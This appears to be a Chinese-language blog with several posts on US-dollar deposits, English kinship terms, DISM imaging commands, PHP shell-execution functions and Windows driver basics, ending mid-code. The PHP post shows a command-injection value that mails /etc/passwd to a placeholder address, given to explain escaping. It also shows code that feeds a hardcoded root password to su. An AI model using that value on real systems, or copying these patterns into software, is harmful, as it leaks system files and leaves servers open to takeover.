2017/12/27

外幣投資理財筆記《美元定存心得》之小訣竅累積大資產

外幣定存是資產配置上不可或缺的一環,即便近期美元、澳幣偏弱整理,但若有以下3種需求,可視市場狀況逢低加碼,包括因子女海外留學,經常需兌換美元、澳幣;購買外幣計價保單,需固定換匯繳交保費;目前資金放在新台幣定存,想透過外幣定存增加利息,同時能承擔得起匯率風險。

外幣定存 基本知識篇: 外幣定期存款的利率會根據幣別而有所不同,通常會跟外幣國家的利率連動

長期以來台幣定存利率一直處於低檔,因為外幣的存款利率卻高居不下,所以吸引了不少外幣定存族。當中許多人已經是老手,但是也有不少投資者對外幣存款是初入門者,此篇主要是對外幣定存實務做個通盤的整理及說明,適合剛進入這一領域的投資者。

何謂外幣定存:

外幣定存是以外幣為標的,跟台幣一樣,約定將外幣存於銀行一期間,未到期前不得領回。外幣定期存款的利率會根據幣別而有所不同,通常會跟外幣國家的利率連動。如同台幣定存般,銀行也會給存單(有的是登記在存簿後面),到期時領取本息。如果已有外幣帳戶,可以直接用外幣存款。若沒有,也可以先將台幣換成外幣,而贖回時又要將外幣換成台幣,所以會有轉換幣值的匯率差額。

開戶手續:

外幣定存得先開設外幣帳戶,只要本人年滿20歲帶身分證、第二証件(例如護照、駕照或健保卡)和印章,當然還有主角~錢囉,到銀行臨櫃辦理說明要開外幣帳戶即可,相當方便。有些銀行開戶會設有最低開戶金額限制,金額多少各銀行不一,最好先打電話詢問。 現在網路銀行也很方便,只要在申辦時指名要有網路功能即可。到時客戶可以自己操作台幣轉外幣、外幣轉定存的功能,不用常跑銀行省卻許多時間。

國內銀行也有外幣定存:

不用跑到國外,目前國內各大銀行都有外幣定存的業務,只要有錢一切好辦。

利息發放:

外幣定存的利息通常可選擇每月領息或到期領取本息,利息也是以外幣支付。若選擇每月發放利息,每月固定時間銀行會將利息轉入活儲帳號。但是不像台幣定存般可以整存整付,自動以複利計算。例如存1萬紐幣1年,年利率6%,每月支付利息:
月利率 = 6%/12 = 0.5%,所以銀行每月會付 10,000*0.005 = 50元的紐幣,一年後銀行會還1萬紐幣的本金,這12個月總共收入利息紐幣600元。

固定或機動利率:

外幣定存目前各銀行都採固定利率。

外幣定存的獲利:

外幣定存的收益主要是利息和匯差。定存可以說是保本的產品,風險幾乎是零。但匯率像是刀的兩刃,可能賺也可能賠,獲利是不確定的。有時可能賺了利息,但卻賠了匯差。但是也有機會除了賺取高額利息外,再添匯差收入,真是錦上添花。

定存時間選擇

外幣定存一般時間大概有一週、1個月、3個月、6個月、9個月、1年這幾種選擇。不同期間的利率各有差異。舉例如澳幣定存一個月的利率是5.85%,定存一年6.1%。南非幣定存一個月是7.95%,定存一年反而降到6.75%。 在利率很接近的情況下,可以選擇較短期定存,這樣可以因應匯率變動。

其實外幣定存就跟台幣定存是一樣的,如果定存未到期而解約,利息是會打折的。如果不是要長期持有外幣打算的話,可以選擇短期定存,跑短線賺匯差比較靈活。在適當的時機換回台幣,利息與匯差都可以賺取。當然如果預期未來利率或匯率會升或降,在定存時間的選擇,就更有把握。但是要提醒讀者:匯率和股市一樣都是難以預料的,有誰說得準呢?

續存規定

定存到期續存規定可分不續存和自動續存。自動續存是以最新的定存利率續存,就不用臨櫃辦理了。

 不續存:即到期之後,本金和利息一併轉入活存
 本金續存:到期之後,本金繼續定存,而利息則轉入活存
 本利續存:又叫本息續存(即到期之後,將利息和本金一起作續存

中途解約

定存要提前解約,會損失部份利息,一般是利息打八折,未滿一個月的部份不予計息。但可能每家銀行的規定不一定相同,還是得和原銀行做確認。

外幣定存 技巧與心得分享:

美元強勢貨幣的地位仍然會繼續維持, 若台幣兌美元的匯率也來到高點, 可以開始佈局美元, 投資美元比較穩健!

趁美元低檔時候布局, 分批購入更多美金

由於預期美國聯邦準備理事會(FED)還有升息的可能性存在, 可先做短天期一個月的定存, 等到聯準會停止升息後再改成長天期半年或一年的定存, 將利率鎖在高檔。多年的投資外幣的經驗觀察下來,做美金比做其它外幣定存來的穩健,畢竟許多匯率都以美元為基準,所以美元本身就已經具有避險功能存在,即使換在高檔,一年之內都會有機會回到高檔,其它貨幣就得視當時各國經濟情況而定,如果你是用閒錢投資,當匯率不滿意還可以放著等,如果不是閒錢的話,建議還是不要投入到外幣市場,且外幣市場也不像股市行情那樣激情,投資外幣除了用閒錢外,耐心等待也很重要。

透過網路銀行, 適當的外幣投資有更多選擇

站在資產配置的觀點上,持有適當的外幣在台幣貶值的時候,是可以保值的!何況市場上基金大都是以美元或歐元來計價。 可以買了外幣後,直接再買進基金來投資! 以上的操作最好都能透過網路銀行,以免徒增買賣的麻煩!大都數的銀行都能直接在網路上買賣外幣、轉換定存或解約,不必親自去銀行排隊浪費寶貴的時間!而且用網路買基金更享有比臨櫃更加優惠的匯率喔!(跑去銀行買基金真是賠了時間又賠了手續費,何苦來哉?) 更特別的是透過網銀換匯,台灣銀行美金優惠三分、其他外幣優惠千分之二;辦理一個月的外幣定存也可以再加0.05%,這點退休族不可不知喔!

**重要** 善用銀行不定期推出的高利優惠定存!!!

除了一般規律性的美元定存之外, 銀行因為自身外幣資產需求會推出限時的高利優惠美金定存方案, 通常這類的利息會高很多, 所以大家可以透過這種方式加快累積美元資產:
1) 這種高利定存通常會限定最低金額, 也許1000美元/5000美元/1萬美元之類, 所以大家要先累積一筆美元才能參加!
2) 如果利率沒有差太多的話, 盡量選短期一點(除非美國在走降息循環,選擇長期避免之後被降息)
3) 即時的外幣優惠定存資訊 : 看這裡stockq 美元高利定存專案 / 或money101網站
4) 留意國內銀行間的外幣轉帳的費用: 匯出匯款和匯入匯款都會收手續費,中間銀行可能也要收手續費,除非是匯出行和匯入行的財富管理客戶,可能可以減免。

外幣定存 常見問答分享:

外幣定存獲利就只著重在利差跟匯差,如果沒有耐心的定存族很容易賺了利差賠了匯差,因此要用閒錢來承做比較適合

Q1 外幣定存不就是把台幣換成外幣再存定存嗎?

A1. 外幣定存有匯兌風險存在,且定存未到期解約沒有利息可拿,不像台幣定存未到期解約還有利息(會打折),台幣定存一萬就可以承做,但以美金定存來說要一千美元起跳,折合台幣約32660元,門檻相對來說有點高,再來就是國人一般對外幣定存的了解還不夠深,不懂得抓匯率的進出場點,外幣定存獲利就只著重在利差跟匯差,如果沒有耐心的定存族很容易賺了利差賠了匯差,因此要用閒錢來承做比較適合。

Q2 外幣定存會不會有賠本的情況出現呢?

A2. 外幣定存還是有賠本的可能,就是所謂的賺了利差賠了匯差,一般匯率變動都會在5-10%左右區間,波動大些的幣別漲跌幅有時甚至超過20%,而外幣定存利率最高不過5.8%(目前紐幣定存利率),如果一段時間匯率變動太大的話,就會吃掉賺到的利息錢。

Q3 我常常看到外幣定存的利率比較高,那為何還會有人想存台幣定存呢?

A3. 雖然台幣定存的利率明顯的比外幣低, 但是在台灣使用的貨幣是新台幣, 因此為了避免急需用錢時的匯損, 滿多人會選擇低風險的台幣定存。

2017/12/11

英語學習-如何用英文稱呼親戚? 家族親戚英文名稱整理~親戚稱謂(Relative title)

親戚稱謂 (Relative title): 英語學習-如何用英文稱呼親戚? 家族親戚英文名稱整理

family家族, 家庭relatives親戚
household家族kin親戚

great-grandparents(外)曾祖父母
great-grandfather(外)曾祖父great-grandmother(外)曾祖母
grandparents(外)祖父母
grandfather(外)祖父, 爺爺, 外公grandmother(外)祖母, 奶奶, 外婆
granduncle伯公, 叔公, 舅公, 丈公grandaunt姆婆, 嬸婆, 妗婆, 姑婆, 姨婆
parents父母, 雙親
father父親, 爸爸mother母親, 媽媽
father-in-law岳父, 公公mother-in-law岳母, 婆婆
stepfather繼父stepmother繼母
adoptive father養父adoptive mother養母
foster father養父foster mother養母
godfather教父godmother教母
uncle伯父, 叔父, 舅舅, 姑丈, 姨丈aunt伯母, 嬸嬸, 舅媽, 姑媽, 姨媽
spouse配偶
husband丈夫wife太太, 妻子
ex-husband前夫ex-wife前妻
widower鰥夫widow寡婦
bridegroom新郎bride新娘
fiancé未婚夫fiancée未婚妻
sibling兄弟姊妹
brother兄, 弟sister姐, 妹
full brother同胞兄弟full sister同胞姐妹
half brother同父異母或同母異父之兄弟half sister同父異母或同母異父之姊妹
stepbrother繼兄弟stepsister繼姐妹
sibling-in-law兄弟姊妹之配偶, 配偶之兄弟姊妹, 配偶兄弟姊妹之配偶
brother-in-law姊妹之夫, 配偶之兄弟, 配偶姊妹之夫
sister-in-law兄弟之妻, 配偶之姊妹, 配偶兄弟之妻
cousin堂兄弟姊妹, 表兄弟姊妹
cousin-in-law姻堂表兄弟姊妹
堂表兄弟姊妹之配偶, 配偶之堂表兄弟姊妹, 配偶堂表兄弟姊妹之配偶, 堂表兄弟姊妹配偶之兄弟姊妹
child / children子女
son兒子daughter-in-law媳婦
son-in-law女婿daughter女兒
stepson繼子stepdaughter繼女
adopted son養子adopted daughter養女
foster son養子foster daughter養女
godson教子goddaughter教女
nephew姪子, 外甥niece-in-law姪媳, 甥媳
nephew-in-law姪(女)婿, 甥女婿niece姪女, 甥女
grandchild子孫
grandson(外)孫granddaughter-in-law(外)孫媳
grandson-in-law(外)孫婿granddaughter(外)孫女
grandnephew姪(外)孫grandniece姪(外)孫女
great-grandchild曾子孫
great-grandson(外)曾孫great-granddaughter(外)曾孫女

2017/08/23

Dism備份還原相關指令整理 (ScratchDir目錄必須存在,避免錯誤)

先在備份存儲分區下新建文件夾X:\sources和X:\temp (X表示備份位置,文件夾名字自定,英文)

進入winPE後,命令提示符

使用diskpart確定路徑(不同的環境下顯示的盤符可能不同)
diskpart
Diskpart>在這行字符後面直接輸入diskpart命令回車即可執行相應的操作。

幾個基本命令如下(注:// 前面為命令,//後面為命令解釋):
list disk // 列出所有接在電腦上的存儲設備,並為每個存儲設備用數字編號,通常主硬盤編號為0。
select disk N // 選中編號為N的磁盤
list part // 列出選中磁盤上所有的分區
select part N // 選中編號為N的分區
detail part // 顯示選中分區的詳細信息。其中“LTR”即為分區盤符。
exit // 退出Diskpart

這裡再介紹兩條命令(非Diskpart命令):
cd /d xxxxxx // 進入xxxx目錄。如,進入C:,則輸入cd /d C:
dir /a // 顯示當前目錄中的文件結構。

第一次備份:
Dism /Capture-image /Imagefile:X:\sources\install.wim /Scratchdir:X:\temp (/compress:maximum) /Capturedir:C:\ /Name:xxxx /Description:xxxxxx

後期備份:
Dism /Append-Image /Imagefile:X:\sources\install.wim /Scratchdir:X:\temp
(compress:maximum) /Capturedir:C:\ /Name:xxxx /Description:xxxx

/Compress:Maximum 高壓,當然對應用時更多,這一句為可選參數,默認為fast
/Description:xxxxx 可選參數,添加描述方便後期處理使用
(C表示系統安裝所在分區,xxxx中不要出現空格,每個參數以/開始、用空格隔開)

獲取WIM文件映像信息:
例如:查看 G:\sources\install.wim 映像信息
Dism /Get-WimInfo /Wimfile:G:\sources\install.wim

命令解釋:
/Get-WimInfo //顯示有關 WIM 文件中的映像的信息。
/Wimfile //指定 WIM 文件路徑。
    可以在後面添加索引號或名稱來查看某次備份的詳細信息。還可以在後面添加 >d:\list.txt 把信息導出為記事本,方便查看。如:
Dism /Get-WimInfo /Wimfile:G:\sources\install.wim /Index:1 >d:\list.txt
或:Dism /Get-WimInfo /Wimfile:G:\sources\install.wim /Name:Win8Pro-1 >d:\list.txt
    在一個映像中如果有兩個卷映像同名,就不能用指定名稱來查看這兩個卷映像的詳細信息。

具有多個卷映像的 WIM 文件中卷映像的處理:
例如:刪除 G:\sources\install.wim 中的第二次備份:               
Dism /Delete-Image /ImageFile:G:\sources\install.wim /Index:2
命令解釋:
/Delete-Image // 從具有多個卷映像的 WIM 文件刪除指定的捲映像。
    此命令僅刪除卷映像名稱與描述,而不會刪除卷映像數據。可用於防止誤應用該卷映像。刪除指定的捲映像僅刪除了名稱與描述,而不會刪除卷映像數據,所以不會減小 WIM 文件的體積。

用 /Export-Image 命令從具有多個卷映像的 WIM 文件中提取需要保留的單獨卷映像,以減小 WIM 文件的體積。
例如:從 G:\sources\install.wim 中提取第二次備份到 G:\sources 中,保存為 install-02.wim):
Dism /Export-Image /SourceImageFile:G:\sources\install.wim /SourceIndex:2 /DestinationImageFile:G:\sources\install-02.wim
命令解釋:
/Export-Image – 將指定映像的副本導出到其他文件。
/SourceImageFile – 指定映像文件來源路徑。
/SourceIndex – 指定來源索引。
    如果 Win8Pro.wim 中有五個備份,我們只想保留其中第二與第五個備份,同樣可以用 /Export-Image 命令把其中 Index:2 與 Index:5 提取出來,保存為 Win8.wim。命令如下:
Dism /Export-Image /SourceImageFile:G:\sources\install.wim /SourceIndex:2 /DestinationImageFile:G:\sources\install-02.wim
Dism /Export-Image /SourceImageFile:G:\sources\install.wim /SourceIndex:5 /DestinationImageFile:G:\sources\install-02.wim
     install02.wim 中就包涵有兩個卷映像,卷映像的索引號會發生改變,但名稱不會變。

把 Windows 系統(WIM 映像)快速安裝到任何分區:
把 G:\sources\install.wim 中第二次備份還原到 C 分區,指定臨時目錄為 G:\temp
Dism /Apply-Image /ImageFile:G:\sources\install.wim /Index:2 /ScratchDir:G:\temp /ApplyDir:C:\ /Verify
 /Apply-Image //應用一個映像。
/ApplyDir //指定應用目錄。
/Index // 指定索引。此項不能省略。
    因 Dism 安裝 WIM 映像不會像 Ghost 那樣格式化磁盤,所以如果需要可以自己格式化系統盤。
    修改映像路徑與應用目錄可把任意一個系統備份的捲映像還原到任意一個分區。修改卷映像索引號或卷映像名稱可以還原備份映像中的任意一個備份。
    
也可以用此命令把 Windows 系統(WIM 映像)快速安裝到任何分區。
例如在 PE 中把 Win8Pro 安裝到 C 分區(設 Win8ISO 用虛擬光驅加載的盤符為 E):
Dism /Apply-Image /ImageFile:E:\sources\install.wim /Index:1 /Scratchdir:X:\temp /ApplyDir:C:\
    由於 Windows 系統原始(WIM 映像)中沒有啟動引導文件,需要添加啟動引導:
bcdboot C:\windows /s C: /l zh-cn
    如果是把 Windows 8 安裝到 USB 設備中作 Windows To Go,也應添加啟動引導:
bcdboot X:\windows /s X: /l zh-cn /f ALL (X為 USB 設備的盤符)。

附錄:一些可用選項

/Verify – 指定校驗。用於檢查錯誤和文件重複。
/CheckIntegrity – 用於在捕捉、卸載、導出和提交操作中使用 .wim 文件時檢測和跟踪 .wim 文件的損壞情況。
    用於在 DISM 檢測到 .wim 文件在應用和裝載操作中發生損壞時停止操作。
/ScratchDir – 指定暫存目錄的路徑。此目錄必須存在。該目錄必須位於本地。
/Compress – 用於指定對初始捕捉操作使用的壓縮類型。
    maximum 選項能提供最佳壓縮效果,但是捕捉映像所用的時間較長。
    fast 選項能提供更快速的映像壓縮,但生成的文件比使用 maximum 選項壓縮的文件大。這也是在未指定參數時所用的默認壓縮類型。
    none 選項不會壓縮捕捉的映像。
/ConfigFile – 指定映像捕捉和壓縮命令排除列表配置文件的位置。

默認的排除列表——默認情況下,DISM.exe 工具將排除以下文件:

[ExclusionList]
\$ntfs.log
\hiberfil.sys
\pagefile.sys
\swapfile.sys
“\System Volume Information”
\RECYCLER
\Windows\CSC
[CompressionExclusionList]
*.mp3
*.zip
*.cab
\WINDOWS\inf\*.pnf

 

/ScratchDir – 指定暫存目錄的路徑。

創建或處理 Windows 映像時,你應使用帶有 DISM 的 /ScratchDir 選項,在不同的驅動器上創建臨時目錄。臨時目錄適用於許多 DISM 操作,包括捕獲映像、安裝語言包、更新或在 Windows 映像中安裝或刪除 Windows 功能。先將一些文件擴展到此臨時目錄,然後再將它們應用於 Windows 映像。

/ScratchDir
    指定用來解壓縮服務文件的臨時目錄。此目錄必須存在。
    指定在服務期間提取臨時使用的文件時要使用的臨時目錄。該目錄必須位於本地。
    安裝完成後,不再需要此目錄的內容,可以將其刪除。
    如果你不使用 /ScratchDir 選項設置臨時目錄路徑, Windows PE 將默認創建 32-MB 臨時目錄。
    如果未指定臨時目錄,將使用 \Windows\%Temp% 目錄,以及每次運行 DISM 時隨機生成的十六進制值的子目錄名稱。每次操作後,都會刪除暫存目錄中的項。
    作為最佳做法,你應使用 /ScratchDir 選項,轉而在其他有足夠空間支持任何映像管理和你所執行的服務操作的分區上指定目錄

2017/08/17

PHP 執行系統外部命令: system() exec() passthru() 與 反撇號法

PHP作為一種server端的腳本語言,可以編寫簡單與複雜的動態網頁功能,PHP能夠完全勝任。但有時為了實行某些功能,筆續透過外部的shell script或是指令(或稱為命令),可以比較有效率的完成目的。那麼,是否可以在PHP中執行外部指令呢? 答案:可以,且只要用一個或幾個function即可

這幾個function的區別:

system() 輸出並返回最後一行shell結果。
exec() 不輸出結果,返回最後一行shell結果,所有結果可以保存到一個返回的數組裡面。
passthru()只調用命令,把命令的運行結果原樣地直接輸出到標準輸出設備上。

這幾個function的相同點:都可以獲得命令執行的狀態碼

demo:

system('dir');exec ('dir');passthru ('dir');echo `dir`; //這是第(3)種方法

在PHP中調用外部命令,可以用如下三種方法來實現:

(1)用PHP提供的專門函數

PHP提供共了3個專門的執行外部命令的函數:system(),exec(),passthru()。以下說明
system()
原型:string system (string command [, int return_var])
system()函數很其它語言中的差不多,它執行給定的命令,輸出和返回結果。第二個參數是可選的,用來得到命令執行後的狀態碼。
例子:

system("/usr/local/bin/webalizer/webalizer");

exec()
原型:string exec (string command [, string array [, int return_var]])
exec ()函數與system()類似,也執行給定的命令,但不輸出結果,而是返回結果的最後一行。雖然它只返回命令結果的最後一行,但用第二個參數array 可以得到完整的結果,方法是把結果逐行追加到array的結尾處。所以如果array不是空的,在調用之前最好用unset()最它清掉。只有指定了第二 個參數時,才可以用第三個參數,用來取得命令執行的狀態碼。
例子:

exec("/bin/ls -l");exec("/bin/ls -l", $res);exec("/bin/ls -l", $res, $rc);

passthru()
原型:void passthru (string command [, int return_var])
passthru ()只調用命令,不返回任何結果,但把命令的運行結果原樣地直接輸出到標準輸出設備上。所以passthru()函數經常用來調用象pbmplus (Unix下的一個處理圖片的工具,輸出二進制的原始圖片的流)這樣的程序。同樣它也可以得到命令執行的狀態碼。
例子:

header("Content-type: image/gif");passthru("./ppmtogif hunte.ppm");

(2)用popen()函數打開進程

上面的方法只能簡單地執行命令,卻不能與命令交互。但有些時候必須向命令輸入一些東西,如在增加Linux的系統用戶時,要調用su來把當前用戶換到root才行,而su命令必須要在命令行上輸入root的密碼。這種情況下,用上面提到的方法顯然是不行的。
popen()函數打開一個進程管道來執行給定的命令,返回一個文件句柄。既然返回的是一個文件句柄,那麼就可以對它讀和寫了。在PHP3中,對這種句柄只能做單一 的操作模式,要么寫,要么讀;從PHP4開始,可以同時讀和寫了。除非這個句柄是以一種模式(讀或寫)打開的,否則必須調用pclose()函數來關閉 它。
例子1:

$fp=popen("/bin/ls -l", "r");

例子2(本例來自PHP中國聯盟網站http://www.phpx.com/show.php?d=col&i=51):

/* PHP中如何增加一個系統用戶: 下面是一段例程,增加一個名字為james的用戶,root密碼是verygood。僅供參考 */$sucommand = "su --login root --command";$useradd = "useradd ";$rootpasswd = "verygood";$user = "james";$user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);$fp = @popen($user_add,"w");@fputs($fp,$rootpasswd);@pclose($fp);

(3)用反撇號(`,也就是鍵盤上ESC鍵下面的那個,和~在同一個上面)

這個方法以前沒有歸入PHP的文檔,是作為一個秘技存在的。方法很簡單,用兩個反撇號把要執行的命令括起來作為一個表達式,這個表達式的值就是命令執行的結果。如:

$res='/bin/ls -l';echo ''.$res.'';

這個腳本的輸出就像:

hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php

要考慮兩個問題:安全性和超時。

先看安全性。比如,你有一家小型的網上商店,所以可以出售的產品列表放在一個文件中。你編寫了一個有表單的HTML文件,讓你的用戶輸入他們的 EMAIL地址,然後把這個產品列表發給他們。假設你沒有使用PHP的mail()函數(或者從未聽說過),你就調用Linux/Unix系統的mail 程序來發送這個文件。程序就像這樣:

system("mail $to < products.txt");echo "我們的產品目錄已經發送到你的信箱:$to";

用這段代碼,一般的用戶不會產生什麼危險,但實際上存在著非常大的安全漏洞。如果有個惡意的用戶輸入了這樣一個EMAIL地址:

'--bla ; mail someone@domain.com < /etc/passwd ;'

那麼這條命令最終變成:

'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'

我相信,無論哪個網絡管理人員見到這樣的命令,都會嚇出一身冷汗來。
幸好,PHP為我們提供了兩個函數:EscapeShellCmd()和EscapeShellArg()。

函數EscapeShellCmd把一個字符串中所有可能瞞過Shell而去執行另外一個命令的字符轉義。這些字符在Shell中是有特殊含義的,象分號(),重定向(>)和從文件讀入 (<)等。函數EscapeShellArg是用來處理命令的參數的。它在給定的字符串兩邊加上單引號,並把字符串中的單引號轉義,這樣這個字符串 就可以安全地作為命令的參數。

再來看看超時問題。如果要執行的命令要花費很長的時間,那麼應該把這個命令放到系統的後台去運行。但在默認情況下,象system()等函數要等到 這個命令運行完才返回(實際上是要等命令的輸出結果),這肯定會引起PHP腳本的超時。解決的辦法是把命令的輸出重定向到另外一個文件或流中,如:

system("/usr/local/bin/order_proc > /tmp/null &"); 

2017/08/10

Windows Driver 開發學習筆記

延伸閱讀: 本站另一文 Video and Graphic windows driver 驅動程式開發筆記

眾所周知, 早期的Windows 95/98的設備驅動是VxD(Virtual Device Driver),其中x表示某一類設備。從Windows 2000開始,開發驅動程序必以WDM(Windows Driver Model)為基礎的,但是,如果使用DDK來開發WDM,其開發難度之大,根本不能奢望像用戶模式應用程序開發那樣容易,因此,一般用戶都是使用WinDriver、DriverStudio之類的第三方工具。

為改善這種局面,從Vista開始,微軟推出了新的驅動程序開發環境WDF(Windows Driver Foundation )。 WDF和WDM的關係有點類似於MFC和Windows SDK的關係,有編程經驗的人一看就知道為何WDF開發比WDM容易了。

微軟有寫了基本概要, 先看看原廠介紹吧! 然後根據每個小課程的練習與實作, 應該就會慢慢進步了解!
連結:Windows programming guide for driver technologies

先安裝環境吧!

設置編譯環境 – 開發環境安裝Visual Studio, Windows SDK, 以及Windows driver kit(WDK)

寫出你的第一個驅動程式吧!

Write your first driver

WDF 有KMDF和UMDF兩種模式:

  • 內核模式驅動程序 KMDF(Kernel-Mode Driver Framework):這類驅動程序作為內核模式操作系統組件的一部分執行,它們管理I/O、即插即用、內存、進程和線程、安全等。內核模式驅動程序通常為分層結構。關於KMDF更多的內容,可參閱 MSDN中“Getting Started with Kernel-Mode Driver Framework ”。
  • 用戶模式驅動程序 UMDF(User-Mode Driver Framework):這類驅動程序通常提供 Win32 應用程序與內核模式驅動程序或其他操作系統組件之間的接口。用戶模式驅動程序支持基於協議或基於串行總線(如攝像機和便攜音樂播放器)的設備。關於UMDF更多的內容,可參閱 MSDN中“ Introduction to UMDF“。
  • 無論內核模式的驅動程序或者用戶模式的驅動程序,都使用同一環境進行構建,這一環境稱為WDK;都採用同一套對像模型構建,採用同一個基礎承載,這個基礎就是WDF。由於WDF驅動模型提供了面向對象和事件驅動的驅動程序開發框架,大大降低了開發難度。從現在開始,掌握Windows設備驅動程序的開發人員,由過去的“專業”人士,將變為“普通”大眾。因此,像WinDriver、DriverStudio之類的第三方工具也隨之退出歷史舞台。
  • KMDF是Windows系統底層驅動,文件名為:*.SYS,Vista為2萬多外設提供了KMDF,其中也包括USB2.0,因此對於具有USB2.0協議的FX2,只需編寫與FX2相關的UMDF即可;
    UMDF是用戶層驅動,文件名為:*.DLL

程式進入點 DriverEntry

(轉自steward-fu)
Windows Driver Framework(WDF)是新型的驅動程式架構並且分成Kernel Mode Driver Framework(KMDF)和User Mode Driver Framework(UMDF)兩種架構,UMDF是跑在User Mode的Driver;而KMDF則是跑在Kernel Mode,所以KMDF的行為以及寫法會跟WDM很相似,畢竟KMDF是一個重新包裝WDM架構的驅動程式,所以很多WDM的東西還是可以共用的,但是KMDF的誕生畢竟是為了簡化WDM的複雜性,如果要寫KMDF驅動程式就遵照KMDF建議的方式製作,之後維護程式的人也比較清楚關係,畢竟很多人還是從KMDF開始學習驅動程式,並非是從WDM開始學習。

KMDF的驅動程式又分成PnP(Plug and Play)和Non-PnP兩種類型,PnP類型的驅動程式主要負責的職務是跟支援隨插即用的裝置溝通,其類型大致上有:USB、1394、PCI等隨插即用裝置,而相較於PnP類型的驅動程式,Non-PnP類型的驅動程式並不支援隨插即用的IRP(I/O Request Packet),系統當然也不會發送隨插即用的IRP到Non-PnP驅動程式,因為Non-PnP主要支援非隨插即用裝置,因此相關的隨插即用資源是無法存取的,但是還是可以存取Legacy硬體I/O,而KMDF的PnP跟Non-PnP驅動程式,其實就是WDM和Legacy類型的驅動程式。

不管是KMDF(PnP、Non-PnP)、WDM或Legacy驅動程式,它們的程式進入點一律是DriverEntry(),而且格式是一樣的,定義如下:

NTSTATUS DriverEntry(PDRIVER_OBJECT, PUNICODE_STRING);

系統載入驅動程式時會呼叫DriverEntry()並帶入兩個參數,第一個PDRIVER_OBJECT是Driver Object指標,該指標會包含驅動程式物件的所有資訊,當然有些欄位是不允許使用者更改的,而另一個參數PUNICODE_STRING則是Registry Path,每個驅動程式在安裝時,都會產生一個註冊表項目,該項目就是當Windows啟動時要載入用的,所以註冊表亂更改時,驅動程式可能就不會被正確載入。

需要注意的是,就算有相同的裝置載入同一份驅動程式,則Driver Object也僅會只有一份,那這一些相同裝置的驅動程式資料不就會亂掉嗎?答案是:不會的,因為會有多份Device Oject,每個Device Object各代表不同的裝置。那DriverEntry()需要做哪一些事情呢?做法跟WDM是很類似的,都需要註冊Callback副程式,差别只是呼叫API不一樣,因為KMDF使用了事件、屬性、訊息當作處理的核心機制,其實有點像Windows的視窗程式寫法。範例:

NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath){ WDF_DRIVER_CONFIG config; NTSTATUS status;  WDF_DRIVER_CONFIG_INIT(&config, AddDevice); status = WdfDriverCreate(pDrvObj, pRegPath, WDF_NO_OBJECT_ATTRIBUTES, &config, WDF_NO_HANDLE); if(!NT_SUCCESS(status)){  DbgPrint("WdfDriverCreate failed 0x%x\n", status);  return status; } return STATUS_SUCCESS;}

上面的程式只註冊AddDevice Callback副程式,其餘Callback交給預設的KMDF副程式處理,很簡短吧!該程式是透過WDF_DRIVER_CONFIG_INIT()做Callback初始化,該副程式看起來很簡單,但是怕該副程式隱藏很多細節,所以司徒將它的內容貼出來看一下

VOID FORCEINLINE WDF_DRIVER_CONFIG_INIT(OUT PWDF_DRIVER_CONFIG Config, IN PFN_WDF_DRIVER_DEVICE_ADD EvtDriverDeviceAdd){ RtlZeroMemory(Config, sizeof(WDF_DRIVER_CONFIG)); Config->Size = sizeof(WDF_DRIVER_CONFIG); Config->EvtDriverDeviceAdd = EvtDriverDeviceAdd;}

WDF_DRIVER_CONFIG_INIT()看來只有做記憶體初始化跟Config結構的初始化,算是很簡單的初始化而已。
初始化完Config結構後,程式接著使用WdfDriverCreate()產生Framework Driver Object,這個地方就跟WDM不一樣,WDM不需要產生Driver Object,而KMDF因為核心是採用WDM的架構,所以需要建立另一組資料給KMDF使用,另外要注意的是DriverEntry()回傳值的部分,因為回傳值會決定載入驅動程式的成功或失敗。KMDF相較於WDM的架構,真是越來越簡潔,但是,沒有WDM基礎的使用者,司徒覺得對於除錯以及詳細原理會越來越難搞清楚,畢竟包裝太多WDM的東西,看似簡單,卻是隱藏很多細節,對於初學者或經驗不足的使用者,細節完全不懂時,很難Debug比較難的問題。

AddDevice

當系統找到符合的裝置(透過INF檔案安裝)且驅動程式被系統載入後,AddDevice()就會被系統呼叫,而AddDevice()是在DriverEntry()裡面註冊的,所以系統才會知道AddDevice()位於何處,名稱不一定要用AddDevice,但是參數跟回傳值必須遵照Microsoft的定義,否則會有問題。
AddDevice()副程式定義如下:

NTSTATUS AddDevice(PDRIVER_OBJECT, PDEVICE_OBJECT);

傳入的PDRIVER_OBJECT是該驅動程式的Driver Object,而PDEVICE_OBJECT則是位於下層的驅動程式Device Object,WDM驅動程式的架構是使用堆疊方式做驅動程式的添加、刪除,例如:如果使用者寫的是USB驅動程式,則下層可能就是USB Bus驅動程式,如果使用者寫的驅動程式只是一個虛擬的純軟體驅動程式,那麼下層驅動程式就是I/O Manager,由於使用堆疊的架構,所以WDM驅動程式又可以加入Upper Filter、Lower Filter Driver,Filter Driver的目的是提供I/O Request Packet(IRP)修改的功能,達到不需更改原始的驅動程式就可以做錯誤修正。

那在AddDevice()需要做什麼事情呢?一般會產生一個新的Device Object並為該Device Object建造一條Symbolic Link,該Symbolic Link就是提供給User Mode的應用程式開啟(僅能使用CreateFile() API開啟),還記得呼叫CreateFile()時會提供一個名字嗎?若記得的話,此名字就是驅動程式的Symbolic Link名稱。那問題又來了,有沒有可能裝置會使用同一個Symbolic Link名字呢?答案是,肯定會發生的,所以Microsoft建議大家使用GUID的方式註冊,而系統將會自動產生一個唯一的名稱給該註冊的裝置,如果是這樣的話,那User Mode的應用程式如何開啟驅動程式呢?這時候就必須使用Setup API做GUID列舉並取得Symbolic Link名稱,哪一種方式比較好呢?如果是使用Symbolic Link註冊名稱,User Mode應用程式比較好寫,因為名稱已經知道了,反之,使用GUID註冊的話,User Mode應用程式需要列舉判斷後才能開啟,所以會比較不好寫,但是優點則是名稱不會衝突。
範例

PDEVICE_OBJECT gNextDevice=NULL; NTSTATUS AddDevice(PDRIVER_OBJECT pOurDriver, PDEVICE_OBJECT pPhyDevice){  PDEVICE_OBJECT pOurDevice;  UNICODE_STRING usDeviceName;  UNICODE_STRING usSymboName;   // step 1. create new device and symbolic link  RtlInitUnicodeString(&usDeviceName, L"\\Device\\firstWDM");  RtlInitUnicodeString(&usSymboName, L"\\DosDevices\\firstWDM");  IoCreateDevice(pDrvObj, 0, &usDeviceName, FILE_DEVICE_UNKNOWN, 0, FALSE, &pOurDevice);  IoCreateSymbolicLink(&usSymboName, &usDeviceName);   // step 2. attach to driver stack and save the next object for later use  gNextDevice = IoAttachDeviceToDeviceStack(pOurDevice, pPhyDevice);   // step 